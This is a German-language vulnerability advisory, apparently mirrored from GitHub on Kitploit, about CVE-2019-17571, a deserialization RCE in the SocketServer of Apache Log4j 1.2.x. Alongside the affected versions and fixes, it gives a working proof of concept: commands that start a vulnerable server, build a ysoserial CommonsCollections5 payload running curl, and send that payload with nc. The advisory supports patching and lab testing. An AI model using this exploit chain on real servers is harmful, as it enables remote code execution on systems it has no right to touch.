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CVE-2019-17571 — Apache Log4j 1.2.X weist eine Schwachstelle zur Remote-Codeausführung durch Deserialisierung auf. | Kitploit
Tools/GitHubGitHub/shadow-horse/cve-2019-17571
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GitHubshadow-horse/cve-2019-17571

CVE-2019-17571

Apache Log4j 1.2.X weist eine Schwachstelle zur Remote-Codeausführung durch Deserialisierung auf.

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7852vor 6 JahrenVon Kitploit geprüft

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CVE-2019-17571/Apache Log4j 1.2.X weist eine Deserialisierungs-Schwachstelle für die Remote-Codeausführung auf

Referenzlink zur Schwachstellenwarnung: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ

1. Beschreibung der Schwachstelle

Apache Log4j ist ein Java-basiertes Open-Source-Protokollierungstool der Apache Software Foundation. In den Versionen der Apache Log4j 1.2.X-Reihe existiert eine Deserialisierungs-Schwachstelle für die Remote-Codeausführung. Angreifer können diese ausnutzen, um beliebige bösartige Befehle auszuführen. Log4j 1.2.X enthält eine SocketServer-Klasse, die anfällig für die Deserialisierung nicht vertrauenswürdiger Daten ist. In Kombination mit Deserialisierungs-Gadgets kann diese Klasse genutzt werden, um beim Abhören nicht vertrauenswürdigen Netzwerkverkehrs von Protokolldaten beliebigen Code remote auszuführen. Betroffen ist die aktuelle Version.

2. Schweregrad der Schwachstelle

Hoch

Betroffene Versionen
1.2.4 <= Apache Log4j <= 1.2.17 (aktuelle Version)

Empfehlung zur Behebung

  1. Auf die neueste Version der Apache Log4j 2-Reihe aktualisieren

  2. Vermeiden, den von dieser Klasse geöffneten Socket-Port dem Internet auszusetzen

3. Verifikation der Schwachstelle

Bereits zur Zeit von Apache Log4j 2.8.1 existierte eine Deserialisierungs-Schwachstelle für die Remote-Codeausführung (CVE-2017-5645), die damals über die Klasse org.apache.logging.log4j.core.net.server.TcpSocketServer ausgelöst wurde. In der Apache Log4j 1.2.X-Ära wurde die Schwachstellenklasse zu org.apache.log4j.net.SocketServer.

1. Starten der Schwachstellenumgebung

Nach Recherchen am Abend wurde festgestellt, dass der Start des Log4j 1.X SocketServers über den Java-Befehl erfolgt, nicht durch Java-Code. (Falls es andere Startmöglichkeiten gibt, bitte mitteilen.)

Ebenfalls müssen die betroffenen JAR-Dateien sowie JAR-Dateien, die Codeausführung ermöglichen, heruntergeladen und in die Umgebungsvariablen (im Folgenden für Windows-Umgebung) eingefügt werden. Starten Sie den Dienst mit drei Parametern: Port, Log4j-Konfigurationsdatei und LCF-Verzeichnis:

root@kitploit:~
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./    

java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./

2. Nutzung des RCE-PoCs von Log4j2

root@kitploit:~
	java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin  

3. Senden des bösartigen Sockets mit nc

root@kitploit:~
nc 127.0.0.1 4560 < log4j.curl.bin

Bezug der relevanten JAR-Pakete: https://github.com/shadow-horse/Vulenvironment/libs

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